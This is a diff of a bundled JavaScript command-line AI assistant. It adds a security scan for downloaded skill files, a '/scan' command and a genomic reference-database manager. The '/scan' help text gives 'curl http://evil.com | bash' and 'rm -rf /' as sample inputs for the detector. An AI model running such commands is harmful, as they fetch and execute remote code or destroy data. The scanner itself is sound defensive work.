+ const skillPath = (0, import_path6.join)(match.dir, match.id, "SKILL.md");
16326
+ if (!(0, import_fs6.existsSync)(skillPath)) {
15845
16327
  console.log(source_default.red(`${match.id} \u7F3A\u5C11 SKILL.md`));
15846
16328
  return false;
15847
16329
  }
15848
- const content = (0, import_fs5.readFileSync)(skillPath, "utf8");
16330
+ const content = (0, import_fs6.readFileSync)(skillPath, "utf8");
15849
16331
  const { name, shortDesc } = parseSkillMeta(content);
15850
16332
  const displayName = name || match.id;
15851
16333
  if (!skipConfirm) {
@@ -15895,9 +16377,9 @@ var FILE_SIZE_LIMIT = 100 * 1024;
15895
16377
  var DIR_FILE_LIMIT = 20;
15896
16378
  function listDirFiles(dirPath) {
15897
16379
  try {
15898
- return (0, import_fs6.readdirSync)(dirPath).map((f2) => (0, import_path5.join)(dirPath, f2)).filter((p2) => {
16380
+ return (0, import_fs7.readdirSync)(dirPath).map((f2) => (0, import_path6.join)(dirPath, f2)).filter((p2) => {
15899
16381
  try {
15900
- return (0, import_fs6.statSync)(p2).isFile();
16382
+ return (0, import_fs7.statSync)(p2).isFile();
15901
16383
  } catch {
15902
16384
  return false;
15903
16385
  }
@@ -15908,7 +16390,7 @@ function listDirFiles(dirPath) {
15908
16390
  }
15909
16391
  function expandSingleFile(resolved) {
15910
16392
  try {
15911
- const stat = (0, import_fs6.statSync)(resolved);
16393
+ const stat = (0, import_fs7.statSync)(resolved);
15912
16394
  if (!stat.isFile()) return `[${resolved}: \u4E0D\u662F\u6587\u4EF6]`;
15913
16395
  if (stat.size > FILE_SIZE_LIMIT) {
15914
16396
  return `
@@ -15918,7 +16400,7 @@ function expandSingleFile(resolved) {
15918
16400
  \`\`\`
15919
16401
  `;
15920
16402
  }
15921
- const content = (0, import_fs5.readFileSync)(resolved, "utf8");
16403
+ const content = (0, import_fs6.readFileSync)(resolved, "utf8");
15922
16404
  const lines = content.split("\n");
15923
16405
  const preview = lines.length > 150 ? lines.slice(0, 150).join("\n") + `
15924
16406
  ... (\u5171 ${lines.length} \u884C\uFF0C\u5DF2\u622A\u65AD)` : content;
@@ -15935,10 +16417,10 @@ ${preview}
15935
16417
  function expandFileRefs(input) {
15936
16418
  return input.replace(/@"([^"]+)"|@'([^']+)'|@([\/\w.*?~:-]+)/g, (match, q1, q2, q3) => {
15937
16419
  const rawPath = q1 ?? q2 ?? q3;
15938
- const expanded = rawPath.replace(/^~/, (0, import_os3.homedir)());
16420
+ const expanded = rawPath.replace(/^~/, (0, import_os4.homedir)());
15939
16421
  if (rawPath.endsWith("/") || rawPath.endsWith("\\")) {
15940
- const dirResolved = (0, import_path5.resolve)(expanded);
15941
- if (!(0, import_fs5.existsSync)(dirResolved)) return match;
16422
+ const dirResolved = (0, import_path6.resolve)(expanded);
16423
+ if (!(0, import_fs6.existsSync)(dirResolved)) return match;
15942
16424
  const files = listDirFiles(dirResolved).slice(0, DIR_FILE_LIMIT);
15943
16425
  if (files.length === 0) return `[\u76EE\u5F55 ${dirResolved} \u4E3A\u7A7A]`;
15944
16426
  const parts = [`
@@ -15967,8 +16449,8 @@ function expandFileRefs(input) {
15967
16449
  for (const f2 of matched) parts.push(expandSingleFile(f2));
15968
16450
  return parts.join("\n");
15969
16451
  }
15970
- const resolved = (0, import_path5.resolve)(expanded);
15971
- if (!(0, import_fs5.existsSync)(resolved)) return match;
16452
+ const resolved = (0, import_path6.resolve)(expanded);
16453
+ if (!(0, import_fs6.existsSync)(resolved)) return match;
15972
16454
  return expandSingleFile(resolved);
15973
16455
  });
15974
16456
  }
@@ -15977,11 +16459,11 @@ function snapshotWorkdir(dir) {
15977
16459
  function walk(d2, depth = 0) {
15978
16460
  if (depth > 3) return;
15979
16461
  try {
15980
- for (const entry of (0, import_fs5.readdirSync)(d2)) {
16462
+ for (const entry of (0, import_fs6.readdirSync)(d2)) {
15981
16463
  if (entry.startsWith(".") || entry === "node_modules") continue;
15982
- const full = (0, import_path5.join)(d2, entry);
16464
+ const full = (0, import_path6.join)(d2, entry);
15983
16465
  try {
15984
- const st2 = (0, import_fs5.statSync)(full);
16466
+ const st2 = (0, import_fs6.statSync)(full);
15985
16467
  if (st2.isDirectory()) {
15986
16468
  walk(full, depth + 1);
15987
16469
  } else {
@@ -16016,7 +16498,7 @@ function saveConversation(history, filename) {
16016
16498
  }
16017
16499
  const now = /* @__PURE__ */ new Date();
16018
16500
  const stamp = now.toISOString().slice(0, 16).replace("T", "-").replace(":", "-");
16019
- const outPath = (0, import_path5.resolve)(filename || `bgicli-chat-${stamp}.md`);
16501
+ const outPath = (0, import_path6.resolve)(filename || `bgicli-chat-${stamp}.md`);
16020
16502
  const lines = [`# BGI CLI \u5BF9\u8BDD\u8BB0\u5F55
16021
16503
  `, `> \u5BFC\u51FA\u65F6\u95F4: ${now.toLocaleString("zh-CN")}
16022
16504
  `];
@@ -16035,7 +16517,7 @@ ${msg.content}
16035
16517
  `);
16036
16518
  }
16037
16519
  }
16038
- (0, import_fs5.writeFileSync)(outPath, lines.join("\n"), "utf8");
16520
+ (0, import_fs6.writeFileSync)(outPath, lines.join("\n"), "utf8");
16039
16521
  console.log(source_default.green(`\u2713 \u5BF9\u8BDD\u5DF2\u4FDD\u5B58: ${outPath}`));
16040
16522
  }
16041
16523
  var COMPACT_TOKEN_THRESHOLD = 4e4;
@@ -16378,12 +16860,12 @@ async function handleCommand(input, rl, history, thinkMode, injectedSkills) {
16378
16860
  console.log(source_default.red(`\u672A\u627E\u5230 Skill: ${targetId}`));
16379
16861
  break;
16380
16862
  }
16381
- const skillPath = (0, import_path5.join)(runMatch.dir, runMatch.id, "SKILL.md");
16382
- if (!(0, import_fs5.existsSync)(skillPath)) {
16863
+ const skillPath = (0, import_path6.join)(runMatch.dir, runMatch.id, "SKILL.md");
16864
+ if (!(0, import_fs6.existsSync)(skillPath)) {
16383
16865
  console.log(source_default.red(`${runMatch.id} \u7F3A\u5C11 SKILL.md`));
16384
16866
  break;
16385
16867
  }
16386
- const skillContent = (0, import_fs5.readFileSync)(skillPath, "utf8");
16868
+ const skillContent = (0, import_fs6.readFileSync)(skillPath, "utf8");
16387
16869
  const { name: skillName } = parseSkillMeta(skillContent);
16388
16870
  const paramsMatch = skillContent.match(/##\s*(?:必要参数|Required Parameters|参数)[\s\S]*?(?=\n##|$)/i);
16389
16871
  const paramsSection = paramsMatch?.[0] ?? "";
@@ -16421,7 +16903,7 @@ ${paramSummary}
16421
16903
  console.log(source_default.dim("\n \u6B63\u5728\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C...\n"));
16422
16904
  try {
16423
16905
  const runCfg = loadConfig();
16424
- const reply = await chat(history, runCfg, buildSystemPrompt());
16906
+ const reply = await chat(history, runCfg, systemPrompt);
16425
16907
  history.push({ role: "assistant", content: reply });
16426
16908
  } catch (err) {
16427
16909
  console.error(source_default.red(`\u6267\u884C\u5931\u8D25: ${err instanceof Error ? err.message : String(err)}`));
@@ -16442,9 +16924,9 @@ ${paramSummary}
16442
16924
  break;
16443
16925
  }
16444
16926
  for (const entry of skillsToCheck) {
16445
- const sp = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
16446
- if (!(0, import_fs5.existsSync)(sp)) continue;
16447
- const content = (0, import_fs5.readFileSync)(sp, "utf8");
16927
+ const sp = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16928
+ if (!(0, import_fs6.existsSync)(sp)) continue;
16929
+ const content = (0, import_fs6.readFileSync)(sp, "utf8");
16448
16930
  const { name } = parseSkillMeta(content);
16449
16931
  console.log(source_default.bold(`
16450
16932
  \u68C0\u6D4B ${name || entry.id} \u7684\u4F9D\u8D56\u73AF\u5883:`));
@@ -16572,8 +17054,8 @@ ${paramSummary}
16572
17054
  const isGitHub = installArg.includes("github.com") || installArg.includes("gitlab") || installArg.includes("bitbucket") || /^[^/]+\/[^/]+$/.test(installArg);
16573
17055
  if (!isGitHub && !installArg.startsWith("http")) {
16574
17056
  const slug = installArg.trim();
16575
- const installTarget2 = (0, import_path5.join)(SKILLS_DIR, slug);
16576
- if ((0, import_fs5.existsSync)(installTarget2)) {
17057
+ const installTarget2 = (0, import_path6.join)(SKILLS_DIR, slug);
17058
+ if ((0, import_fs6.existsSync)(installTarget2)) {
16577
17059
  console.log(source_default.yellow(`Skill "${slug}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${slug}`));
16578
17060
  break;
16579
17061
  }
@@ -16581,13 +17063,21 @@ ${paramSummary}
16581
17063
  `));
16582
17064
  try {
16583
17065
  const skillMdContent = await downloadSkillMd(slug);
16584
- (0, import_fs5.mkdirSync)(installTarget2, { recursive: true });
16585
- (0, import_fs5.writeFileSync)((0, import_path5.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
17066
+ const skillScan = scanSkillMd(skillMdContent);
17067
+ if (skillScan.criticalCount > 0) {
17068
+ console.log(source_default.red(`
17069
+ \u26D4 \u5B89\u5168\u626B\u63CF\u53D1\u73B0 ${skillScan.criticalCount} \u4E2A CRITICAL \u98CE\u9669\uFF0C\u5DF2\u62D2\u7EDD\u5B89\u88C5`));
17070
+ console.log(source_default.dim(` \u4F7F\u7528 /scan \u547D\u4EE4\u68C0\u67E5\u5177\u4F53\u5185\u5BB9`));
17071
+ break;
17072
+ }
17073
+ (0, import_fs6.mkdirSync)(installTarget2, { recursive: true });
17074
+ (0, import_fs6.writeFileSync)((0, import_path6.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
16586
17075
  const { name: name2, shortDesc: shortDesc2 } = parseSkillMeta(skillMdContent);
16587
17076
  console.log(source_default.green(`\u2713 SkillHub Skill \u5B89\u88C5\u6210\u529F!`));
16588
17077
  console.log(` ID: ${source_default.cyan(slug)}`);
16589
17078
  console.log(` \u540D\u79F0: ${name2 || slug}`);
16590
17079
  if (shortDesc2) console.log(` \u529F\u80FD: ${source_default.dim(shortDesc2)}`);
17080
+ if (skillScan.highCount > 0) console.log(source_default.yellow(` \u26A0 \u5305\u542B ${skillScan.highCount} \u4E2A HIGH \u98CE\u9669\u547D\u4EE4\uFF0C\u8BF7\u786E\u8BA4\u6765\u6E90\u53EF\u4FE1`));
16591
17081
  console.log(source_default.dim(` \u4F7F\u7528 /sk ${slug} \u52A0\u8F7D`));
16592
17082
  } catch (e2) {
16593
17083
  const msg = e2 instanceof Error ? e2.message : String(e2);
@@ -16604,8 +17094,8 @@ ${paramSummary}
16604
17094
  repoUrl = `https://github.com/${repoUrl}`;
16605
17095
  }
16606
17096
  const repoName = repoUrl.replace(/\.git$/, "").split("/").pop() ?? "unknown-skill";
16607
- const installTarget = (0, import_path5.join)(SKILLS_DIR, repoName);
16608
- if ((0, import_fs5.existsSync)(installTarget)) {
17097
+ const installTarget = (0, import_path6.join)(SKILLS_DIR, repoName);
17098
+ if ((0, import_fs6.existsSync)(installTarget)) {
16609
17099
  console.log(source_default.yellow(`Skill "${repoName}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${repoName}`));
16610
17100
  break;
16611
17101
  }
@@ -16617,13 +17107,13 @@ ${paramSummary}
16617
17107
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${cloneResult.output || cloneResult.error}`));
16618
17108
  break;
16619
17109
  }
16620
- const skillMdPath = (0, import_path5.join)(installTarget, "SKILL.md");
16621
- if (!(0, import_fs5.existsSync)(skillMdPath)) {
17110
+ const skillMdPath = (0, import_path6.join)(installTarget, "SKILL.md");
17111
+ if (!(0, import_fs6.existsSync)(skillMdPath)) {
16622
17112
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${repoName} \u7F3A\u5C11 SKILL.md \u6587\u4EF6`));
16623
17113
  await executeTool("bash", { command: `rm -rf "${installTarget}"` });
16624
17114
  break;
16625
17115
  }
16626
- const content = (0, import_fs5.readFileSync)(skillMdPath, "utf8");
17116
+ const content = (0, import_fs6.readFileSync)(skillMdPath, "utf8");
16627
17117
  const { name, shortDesc } = parseSkillMeta(content);
16628
17118
  console.log(source_default.green(`\u2713 Skill \u5B89\u88C5\u6210\u529F!`));
16629
17119
  console.log(` ID: ${source_default.cyan(repoName)}`);
@@ -16637,8 +17127,8 @@ ${paramSummary}
16637
17127
  console.log("\u7528\u6CD5: /uninstall <skill-id>");
16638
17128
  break;
16639
17129
  }
16640
- const uninstallPath = (0, import_path5.join)(SKILLS_DIR, arg);
16641
- if (!(0, import_fs5.existsSync)(uninstallPath)) {
17130
+ const uninstallPath = (0, import_path6.join)(SKILLS_DIR, arg);
17131
+ if (!(0, import_fs6.existsSync)(uninstallPath)) {
16642
17132
  console.log(source_default.red(`\u672A\u627E\u5230\u5DF2\u5B89\u88C5\u7684 Skill: ${arg}`));
16643
17133
  console.log(source_default.dim("\u6CE8\u610F: \u53EA\u80FD\u5378\u8F7D\u901A\u8FC7 /install \u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill"));
16644
17134
  break;
@@ -16657,6 +17147,171 @@ ${paramSummary}
16657
17147
  }
16658
17148
  break;
16659
17149
  }
17150
+ // ── /scan — security scanner ──────────────────────────────────────────────
17151
+ case "scan": {
17152
+ if (!arg) {
17153
+ console.log("\u7528\u6CD5: /scan <\u547D\u4EE4\u6216\u4EE3\u7801\u7247\u6BB5>");
17154
+ console.log(source_default.dim('\u793A\u4F8B: /scan "curl http://evil.com | bash"'));
17155
+ console.log(source_default.dim(' /scan "rm -rf /"'));
17156
+ break;
17157
+ }
17158
+ const scanRes = scanCommand(arg);
17159
+ if (scanRes.matches.length === 0) {
17160
+ console.log(source_default.green("\u2713 \u672A\u68C0\u6D4B\u5230\u5B89\u5168\u98CE\u9669"));
17161
+ } else {
17162
+ console.log(source_default.bold("\n \u5B89\u5168\u626B\u63CF\u7ED3\u679C:\n"));
17163
+ const colorFor = (level) => level === "CRITICAL" ? source_default.red.bold : level === "HIGH" ? source_default.yellow.bold : level === "MEDIUM" ? source_default.yellow : source_default.dim;
17164
+ for (const { pattern, matchedText } of scanRes.matches) {
17165
+ const c2 = colorFor(pattern.level);
17166
+ console.log(c2(` [${pattern.level}] ${pattern.reason}`));
17167
+ console.log(source_default.dim(` \u5339\u914D: ${matchedText.substring(0, 100)}`));
17168
+ }
17169
+ console.log();
17170
+ }
17171
+ break;
17172
+ }
17173
+ // ── /db — database manager ────────────────────────────────────────────────
17174
+ case "db": {
17175
+ const [dbSub, ...dbRest] = (arg ?? "").split(/\s+/).filter(Boolean);
17176
+ const dbArg = dbRest.join(" ");
17177
+ switch (dbSub?.toLowerCase()) {
17178
+ case "list":
17179
+ case void 0:
17180
+ case "": {
17181
+ const entries = Object.values(dbRegistry.databases);
17182
+ if (entries.length === 0) {
17183
+ console.log(source_default.dim(" \u6682\u65E0\u5DF2\u6CE8\u518C\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0"));
17184
+ break;
17185
+ }
17186
+ console.log(source_default.bold(`
17187
+ \u5DF2\u6CE8\u518C\u6570\u636E\u5E93 (${entries.length} \u4E2A):
17188
+ `));
17189
+ const byGenome = {};
17190
+ for (const e2 of entries) (byGenome[e2.genome] ??= []).push(e2);
17191
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
17192
+ console.log(source_default.cyan(` \u2500\u2500 ${genome} \u2500\u2500`));
17193
+ for (const db of dbs) {
17194
+ const ok = (0, import_fs6.existsSync)(db.path);
17195
+ const icon = ok ? source_default.green("\u2713") : source_default.red("\u2717");
17196
+ const size = db.sizeBytes ? source_default.dim(` [${(db.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17197
+ console.log(` ${icon} ${source_default.bold(db.label)}${size}`);
17198
+ console.log(` ${source_default.dim("id:")} ${db.id} ${source_default.dim("type:")} ${db.type}`);
17199
+ console.log(` ${source_default.dim(db.path)}`);
17200
+ }
17201
+ console.log();
17202
+ }
17203
+ break;
17204
+ }
17205
+ case "add": {
17206
+ if (!dbArg) {
17207
+ console.log("\u7528\u6CD5: /db add <\u8DEF\u5F84> [\u57FA\u56E0\u7EC4] [\u7C7B\u578B] [\u8BF4\u660E]");
17208
+ console.log(source_default.dim("\u793A\u4F8B: /db add /data/ref/hg38.fa hg38 fasta"));
17209
+ console.log(source_default.dim(" /db add /data/index/hg38_star hg38 star_index STAR\u6BD4\u5BF9\u7D22\u5F15"));
17210
+ break;
17211
+ }
17212
+ const parts = dbArg.trim().split(/\s+/);
17213
+ const dbPath = (0, import_path6.resolve)(parts[0]);
17214
+ if (!(0, import_fs6.existsSync)(dbPath)) {
17215
+ console.log(source_default.yellow(`\u26A0 \u8DEF\u5F84\u4E0D\u5B58\u5728: ${dbPath}\uFF08\u4ECD\u4F1A\u8BB0\u5F55\uFF0C\u8DEF\u5F84\u53EF\u7A0D\u540E\u521B\u5EFA\uFF09`));
17216
+ }
17217
+ const genome = parts[1] ?? "other";
17218
+ const type = parts[2] ?? "other";
17219
+ const label = parts.slice(3).join(" ") || `${type} (${genome})`;
17220
+ const entry = addDbEntry(dbRegistry, { label, type, genome, path: dbPath, source: "manual" });
17221
+ saveDbRegistry(dbRegistry);
17222
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17223
+ console.log(source_default.green(`\u2713 \u5DF2\u6DFB\u52A0\u6570\u636E\u5E93: ${entry.label}`));
17224
+ console.log(` id: ${source_default.cyan(entry.id)}`);
17225
+ console.log(` \u8DEF\u5F84: ${source_default.dim(entry.path)}`);
17226
+ break;
17227
+ }
17228
+ case "rm":
17229
+ case "remove":
17230
+ case "del": {
17231
+ if (!dbArg) {
17232
+ console.log("\u7528\u6CD5: /db rm <id>");
17233
+ break;
17234
+ }
17235
+ const removed = removeDbEntry(dbRegistry, dbArg.trim());
17236
+ if (removed) {
17237
+ saveDbRegistry(dbRegistry);
17238
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17239
+ console.log(source_default.green(`\u2713 \u5DF2\u79FB\u9664\u6570\u636E\u5E93: ${dbArg}`));
17240
+ } else {
17241
+ console.log(source_default.red(`\u672A\u627E\u5230\u6570\u636E\u5E93 id: ${dbArg}\uFF0C\u4F7F\u7528 /db list \u67E5\u770B\u5DF2\u6CE8\u518C\u5217\u8868`));
17242
+ }
17243
+ break;
17244
+ }
17245
+ case "scan": {
17246
+ const extraDirs = dbArg ? [dbArg] : [];
17247
+ process.stdout.write(source_default.dim("\n \u6B63\u5728\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u4E2D\u7684\u53C2\u8003\u6570\u636E\u5E93...\n"));
17248
+ const report = scanForDatabases(extraDirs);
17249
+ if (report.found.length === 0) {
17250
+ console.log(source_default.yellow(" \u672A\u627E\u5230\u4EFB\u4F55\u5DF2\u77E5\u6570\u636E\u5E93\u6587\u4EF6"));
17251
+ console.log(source_default.dim(" \u63D0\u793A: \u53EF\u6307\u5B9A\u76EE\u5F55 /db scan /your/data/dir"));
17252
+ break;
17253
+ }
17254
+ console.log(source_default.bold(`
17255
+ \u626B\u63CF\u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\u6587\u4EF6:
17256
+ `));
17257
+ let addedCount = 0;
17258
+ for (const entry of report.found) {
17259
+ const exists = dbRegistry.databases[entry.id];
17260
+ if (exists) {
17261
+ console.log(source_default.dim(` [\u5DF2\u5B58\u5728] ${entry.label}`));
17262
+ continue;
17263
+ }
17264
+ dbRegistry.databases[entry.id] = entry;
17265
+ addedCount++;
17266
+ const size = entry.sizeBytes ? source_default.dim(` [${(entry.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17267
+ console.log(source_default.green(` [\u65B0\u589E] `) + `${entry.label}${size}`);
17268
+ console.log(source_default.dim(` ${entry.path}`));
17269
+ }
17270
+ if (addedCount > 0) {
17271
+ dbRegistry.lastScan = (/* @__PURE__ */ new Date()).toISOString();
17272
+ saveDbRegistry(dbRegistry);
17273
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17274
+ console.log(source_default.green(`
17275
+ \u2713 \u65B0\u589E ${addedCount} \u4E2A\u6570\u636E\u5E93\u5230\u6CE8\u518C\u8868`));
17276
+ } else {
17277
+ console.log(source_default.dim("\n \u65E0\u65B0\u589E\uFF08\u6240\u6709\u5DF2\u5728\u6CE8\u518C\u8868\u4E2D\uFF09"));
17278
+ }
17279
+ break;
17280
+ }
17281
+ case "download":
17282
+ case "dl": {
17283
+ const target = dbArg.trim() || "";
17284
+ if (!target) {
17285
+ console.log(source_default.bold("\n \u53EF\u4E0B\u8F7D\u7684\u6807\u51C6\u6570\u636E\u5E93:\n"));
17286
+ for (const [key, guide2] of Object.entries(DOWNLOAD_GUIDES)) {
17287
+ console.log(` ${source_default.cyan(key.padEnd(18))} ${guide2.label}`);
17288
+ }
17289
+ console.log(source_default.dim("\n \u7528\u6CD5: /db download hg38-fasta"));
17290
+ break;
17291
+ }
17292
+ const guide = DOWNLOAD_GUIDES[target];
17293
+ if (!guide) {
17294
+ console.log(source_default.red(`\u672A\u77E5\u6570\u636E\u5E93: ${target}`));
17295
+ console.log(source_default.dim("\u4F7F\u7528 /db download \u67E5\u770B\u53EF\u7528\u5217\u8868"));
17296
+ break;
17297
+ }
17298
+ console.log(source_default.bold(`
17299
+ \u4E0B\u8F7D\u6307\u5357: ${guide.label}
17300
+ `));
17301
+ guide.cmds.forEach((cmd2) => console.log(` ${source_default.cyan("$")} ${cmd2}`));
17302
+ console.log(source_default.dim("\n \u4E0B\u8F7D\u5B8C\u6210\u540E\u4F7F\u7528 /db add <\u8DEF\u5F84> \u6CE8\u518C"));
17303
+ break;
17304
+ }
17305
+ default:
17306
+ console.log(`\u7528\u6CD5: /db <list|add|rm|scan|download>`);
17307
+ console.log(source_default.dim(" /db list \u5217\u51FA\u5DF2\u6CE8\u518C\u6570\u636E\u5E93"));
17308
+ console.log(source_default.dim(" /db add <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C"));
17309
+ console.log(source_default.dim(" /db rm <id> \u5220\u9664\u8BB0\u5F55"));
17310
+ console.log(source_default.dim(" /db scan [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF"));
17311
+ console.log(source_default.dim(" /db download [\u540D\u79F0] \u663E\u793A\u4E0B\u8F7D\u6307\u5357"));
17312
+ }
17313
+ break;
17314
+ }
16660
17315
  case "compact": {
16661
17316
  const tokens = estimateTokens2(history);
16662
17317
  if (history.length < 4) {
@@ -16828,8 +17483,8 @@ ${summary}` },
16828
17483
  console.log("\u7528\u6CD5: /cd <\u8DEF\u5F84>");
16829
17484
  break;
16830
17485
  }
16831
- const target = (0, import_path5.resolve)(arg.replace(/^~/, (0, import_os3.homedir)()));
16832
- if (!(0, import_fs5.existsSync)(target)) {
17486
+ const target = (0, import_path6.resolve)(arg.replace(/^~/, (0, import_os4.homedir)()));
17487
+ if (!(0, import_fs6.existsSync)(target)) {
16833
17488
  console.log(source_default.red(`\u8DEF\u5F84\u4E0D\u5B58\u5728: ${target}`));
16834
17489
  break;
16835
17490
  }
@@ -16898,7 +17553,22 @@ async function main() {
16898
17553
  }
16899
17554
  console.log(source_default.dim(" \u8F93\u5165\u95EE\u9898\u5F00\u59CB\u5BF9\u8BDD /help \u67E5\u770B\u547D\u4EE4 /cat \u6280\u80FD\u5206\u7C7B @\u6587\u4EF6\u8DEF\u5F84 \u5185\u5D4C\u6587\u4EF6"));
16900
17555
  console.log();
16901
- const systemPrompt = buildSystemPrompt();
17556
+ let dbRegistry2 = loadDbRegistry();
17557
+ if (Object.keys(dbRegistry2.databases).length === 0) {
17558
+ process.stdout.write(source_default.dim(" \u6B63\u5728\u81EA\u52A8\u626B\u63CF\u53C2\u8003\u6570\u636E\u5E93...\n"));
17559
+ const report = scanForDatabases([]);
17560
+ if (report.found.length > 0) {
17561
+ for (const entry of report.found) dbRegistry2.databases[entry.id] = entry;
17562
+ dbRegistry2.lastScan = (/* @__PURE__ */ new Date()).toISOString();
17563
+ saveDbRegistry(dbRegistry2);
17564
+ process.stdout.write(source_default.green(` \u2713 \u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\uFF0C\u5DF2\u81EA\u52A8\u6CE8\u518C (/db list \u67E5\u770B)
17565
+ `));
17566
+ } else {
17567
+ process.stdout.write(source_default.dim(" \u672A\u53D1\u73B0\u5DF2\u77E5\u6570\u636E\u5E93\uFF08\u53EF\u7528 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09\n"));
17568
+ }
17569
+ console.log();
17570
+ }
17571
+ let systemPrompt2 = buildSystemPrompt(buildDbPromptSection(dbRegistry2));
16902
17572
  let history = [];
16903
17573
  let thinkMode = false;
16904
17574
  const injectedSkills = /* @__PURE__ */ new Map();
@@ -16986,7 +17656,7 @@ ${expanded}` : expanded;
16986
17656
  history.push({ role: "user", content: userContent });
16987
17657
  try {
16988
17658
  const currentCfg = loadConfig();
16989
- const reply = await chat(history, currentCfg, systemPrompt);
17659
+ const reply = await chat(history, currentCfg, systemPrompt2);
16990
17660
  history.push({ role: "assistant", content: reply });
16991
17661
  history = await maybeCompact(history, currentCfg);
16992
17662
  autoSaveSession();
@@ -17011,8 +17681,8 @@ ${expanded}` : expanded;
17011
17681
  }
17012
17682
  }
17013
17683
  function question(rl, prompt) {
17014
- return new Promise((resolve3, reject) => {
17015
- rl.question(prompt, resolve3);
17684
+ return new Promise((resolve4, reject) => {
17685
+ rl.question(prompt, resolve4);
17016
17686
  rl.once("close", () => reject(new Error("closed")));
17017
17687
  });
17018
17688
  }